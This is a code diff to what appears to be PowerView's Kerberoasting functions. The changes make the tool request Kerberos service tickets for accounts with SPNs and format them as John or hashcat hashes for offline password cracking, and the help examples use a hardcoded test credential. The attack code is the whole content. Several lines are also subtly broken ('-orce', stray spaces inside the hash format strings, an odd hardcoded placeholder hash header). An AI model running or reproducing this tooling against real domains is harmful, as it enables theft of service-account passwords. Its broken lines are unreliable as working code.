@@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2305
2305
$UserSPN = $UserSPN[0]
2306
2306
}
2307
2307
2308
- $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2308
+ try {
2309
+ $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2310
+ }
2311
+ catch {
2312
+ Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'"
2313
+ }
2309
2314
if ($Ticket) {
2310
2315
$TicketByteStream = $Ticket.GetRequest()
2311
2316
}
@@ -2322,11 +2327,13 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2322
2327
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2323
2328
2324
2329
if ($OutputFormat -match 'John') {
2325
- $HashFormat = "`$krb5tgs`$unknown :$Hash"
2330
+ $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName) :$Hash"
2326
2331
}
2327
2332
else {
2333
+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2334
+
2328
2335
# hashcat output format
2329
- $HashFormat = ' $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $ Hash
2336
+ $HashFormat = "` $krb5tgs` $23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$ Hash"
2330
2337
}
2331
2338
$Out | Add-Member Noteproperty 'Hash' $HashFormat
2332
2339
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
@@ -2413,15 +2420,22 @@ for connection to the target domain.
2413
2420
2414
2421
Invoke-Kerberoast | fl
2415
2422
2423
+ Kerberoasts all found SPNs for the current domain.
2424
+
2416
2425
.EXAMPLE
2417
2426
2418
- Invoke-Kerberoast -Domain dev.testlab.local | fl
2427
+ Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
2428
+
2429
+ Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2430
+ format instead of John (the default).
2419
2431
2420
2432
.EXAMPLE
2421
2433
2422
2434
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
2423
2435
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
2424
- Invoke-Kerberoast -Credential $Cred -Verbose | fl
2436
+ Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
2437
+
2438
+ Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
2425
2439
2426
2440
.OUTPUTS
2427
2441
0 commit comments